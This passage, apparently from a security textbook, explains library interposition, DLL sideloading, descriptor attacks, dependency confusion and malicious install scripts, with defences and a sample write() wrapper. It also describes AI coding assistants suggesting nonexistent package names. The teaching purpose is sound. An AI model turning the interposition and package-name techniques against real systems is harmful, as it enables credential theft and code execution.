The program now prints the same five numbers on every run. Neither Python nor the program changed. A library two layers beneath them did. An attacker who can do this to a program that generates session tokens or keys from the clock can predict every token it generates. Python’s generator seeds itself from the operating system’s randomness unless a program overrides it, as this one did.

Interposition is also a tool for attacks that do not involve randomness. A replacement can capture the data passed to write(), make an authentication function return success, or change the arguments on their way to a system call.

Loader Defenses and Their Limits

The dynamic loader knows about setuid programs. When a program runs with privileges its caller does not have, the loader ignores LD_LIBRARY_PATH and refuses to preload anything that is not itself installed in a trusted directory. An ordinary user cannot become root by preloading a library into passwd. The loader’s manual page describes this secure-execution mode.

Ordinary programs have no such protection, and most of what an attacker wants is reachable with the user’s own privileges. And the loader is itself a program that parses input from the environment. In October 2023, Qualys, a security company, disclosed a buffer overflow in the GNU C library’s loader, in the code that parses the GLIBC_TUNABLES environment variable. The variable is one the loader was supposed to handle safely for setuid programs. A crafted value gave root through common setuid programs on every major Linux distribution. The flaw was nicknamed Looney Tunables.

In June 2022, two security companies, Intezer and BlackBerry, described Linux malware they named Symbiote. It is a shared library that is loaded into every new process on the machine through the loader’s preload configuration file. Once loaded, it interposes the functions that list processes, files, and network connections, and removes its own entries from the results, so the tools an administrator would use to find it report that it is not there. It also captures credentials from the programs it inhabits.

Wrapping a Function

An interposed function does not have to replace the original. It can wrap it. On Linux, dlsym(RTLD_NEXT, "write") returns the next definition of write after the interposing library, which is the real one. A wrapper that logs everything a program writes to its standard output looks like this:

ssize_t (*real_write)(int, const void *, size_t);
int audit_fd;

ssize_t write(int fd, const void *buf, size_t count) {
    if (fd == 1)
        (void)real_write(audit_fd, buf, count);
    return real_write(fd, buf, count);
}

/* Initialization includes:
   real_write = dlsym(RTLD_NEXT, "write");
   and opens audit_fd. */

The wrapper sends a copy of each write to standard output into an audit file and then calls the real function, so the program behaves normally. A production wrapper needs error handling and safe initialization, and it misses calls that the C library makes internally without going through the public symbol.

Windows DLL Search Order

Windows shares code through dynamic link libraries (DLLs), and a program that loads a library by name causes the loader to search several directories for it. In the common case of an unpackaged desktop application, the application’s own directory is searched before the system directories. An attacker who can write a file beside a legitimate executable supplies a DLL with the name of one the program expects, and starting the program loads the attacker’s code. This is DLL sideloading, and it is a standard technique for running malware under the cover of a signed program, since the program’s signature does not cover the libraries it loads. Microsoft’s documentation gives the search order and its variations.

The search order exists so that an application can ship private versions of libraries in its own directory. The defenses keep that and remove the ambiguity: load libraries by full path, enable the loader’s safe search mode, declare dependencies in a manifest, and check that a loaded library is signed by the publisher the application expects. The principle is the same on every platform. A library loaded by name, from a location the attacker can influence, is code the attacker chose.

Closed Standard Descriptors

The last inherited item is the set of open file descriptors. A POSIX process expects descriptors 0, 1, and 2 to be its standard input, output, and error, and the kernel assigns the lowest unused number to each newly opened file. If an attacker closes descriptor 1 before starting a privileged program, the first file the program opens receives descriptor 1. The program’s next printf() writes into that file. If the file is one the program opened for reading as root, such as a configuration file, the attacker has just written to it.

A privileged program should therefore check its standard descriptors before it opens anything else, and open /dev/null on any that are missing:

for (int fd = 0; fd < 3; fd++) {
    if (fcntl(fd, F_GETFD) != -1)
        continue;
    if (errno != EBADF)
        _exit(1);
    int replacement = open("/dev/null", O_RDWR);
    if (replacement == -1)
        _exit(1);
    if (replacement != fd) {
        if (dup2(replacement, fd) == -1)
            _exit(1);
        close(replacement);
    }
}

The program should also close any other descriptors it inherited and did not expect, and mark the sensitive descriptors it opens as close-on-exec so that programs it starts do not inherit them.

Code That Arrives by Package Name

The last kind of name that resolves to something the program never checked is a package name. A build asks for a dependency by name, a package manager resolves the name to code from a repository, and that code runs with the developer’s or the build system’s privileges. We have already covered attacks on maintainers, in which a legitimate package is taken over. The attacks here need no compromise of anyone. They arrange for the name to resolve to a different package.

Dependency Confusion

Organizations that write their own internal packages usually run a private repository for them and configure their package managers to use both it and the public one. In February 2021, a security researcher showed what happens when the same name exists in both places. He collected the names of internal packages from application bundles and dependency files that companies had published by accident, and uploaded harmless packages with those names to the public repositories, with high version numbers. The build systems of more than 35 companies, including Apple, Microsoft, and PayPal, installed his packages, because their package managers checked both repositories and chose the highest version. His packages reported back where they had been installed, and the companies paid him about 130,000 dollars in bug bounties.

This is dependency confusion. The cause is in how each package manager resolves a name. Several of them treat every configured repository as one pool and apply normal version comparison to it, so listing the private repository first does not make it authoritative. pip’s documentation for its extra-index option says so explicitly.

The defenses bind a name to a repository. Scoped names, in ecosystems that have them, say which repository an internal name belongs to. A build system can be given a single internal repository as its only source, with reviewed public packages mirrored into it, as long as that repository does not itself fetch any higher version it finds in public. Registering internal names in the public repositories, so that nobody else can, reduces the exposure but does not fix the resolution rule.

Installation Runs Code

Fetching a package is not a download. Installing a Python source package can run its setup.py, and installing an npm package can run its lifecycle scripts, and both run with the privileges of whoever is installing, before the package is ever imported. The capability exists so that packages can compile native code during installation. It also means that a malicious package runs the moment it is installed, and what it typically takes is what the build environment has: environment variables, cloud credentials, SSH keys, repository tokens, and the source tree.

The defense is to treat a build as untrusted code. A build should run on a disposable machine with only the source, the credentials, and the network access that the build needs. The credentials used to publish a release should not be present while dependencies are being installed. Limiting outbound network access limits what an installation script can send out, although it does not stop the script from modifying the files it installs.

Suggested and Misspelled Names

An AI coding assistant suggests package names, and some of the names it suggests do not exist. An attacker who registers one of them has a package that the next developer to accept the suggestion will install, and the successful installation looks like confirmation that the suggestion was right. Typosquatting registers a name one character away from a popular package’s name and waits for the mistake.

Lock files, pinned versions, and recorded hashes make a build reproducible and reveal when a package changes, but they record whatever package was chosen first, right or wrong. The decision has four parts: which repository, which publisher, which exact artifact, and what the artifact is allowed to do when it runs. Each needs its own control.

APIs That Are Easy to Misuse

The vulnerable calls described above share a property. system() takes a string shaped like a command. eval() turns a string into a program. mktemp() returns a name that still has to be opened. access() invites a check separate from the use. String-built queries are the first thing a programmer writes. In every case, the convenient call is the unsafe one, and the safe call takes an extra step or a different habit.

The design lesson is secure defaults. An interface that is hard to misuse makes the safe form the easy one: a query interface that takes parameters, a process interface that takes an argument list, a file interface that creates and opens in one call. Libraries built this way have fewer injection bugs, because the careless path leads somewhere safe.

Comprehension Errors

Many of these failures begin with a plausible assumption that turns out to be false. A file name cannot contain an option. A logging function only writes bytes. An escaping function with “shell” in its name makes a command safe. The assumption is usually about an interface the programmer did not write and did not read closely.

Complex interfaces invite the mistake. The Windows CreateProcess() call has ten parameters, covering which program runs, how its command line is split, which handles it inherits, what environment it receives, and where it starts, and its documentation runs to several pages. A programmer who copies a working call from a forum, or accepts one written by a code generator, gets a call that starts the right program and may also inherit sensitive handles or find the executable by searching a path. The assumptions in copied code were never examined by the person running it.

Defense in Depth

The defenses against injection work in layers. Separation and validation where data meets an interpreter remove most of the bugs, safe interfaces make the remaining ones harder to write, and review and testing find some of what gets written anyway. Monitoring for a web server that starts a shell, or a mail service that connects to an unfamiliar address, catches some of what the rest missed. Some bugs will remain, in the application or in one of its hundreds of dependencies. That is the case for the last layer: limiting what a compromised program can do, with limits enforced by something the program cannot change.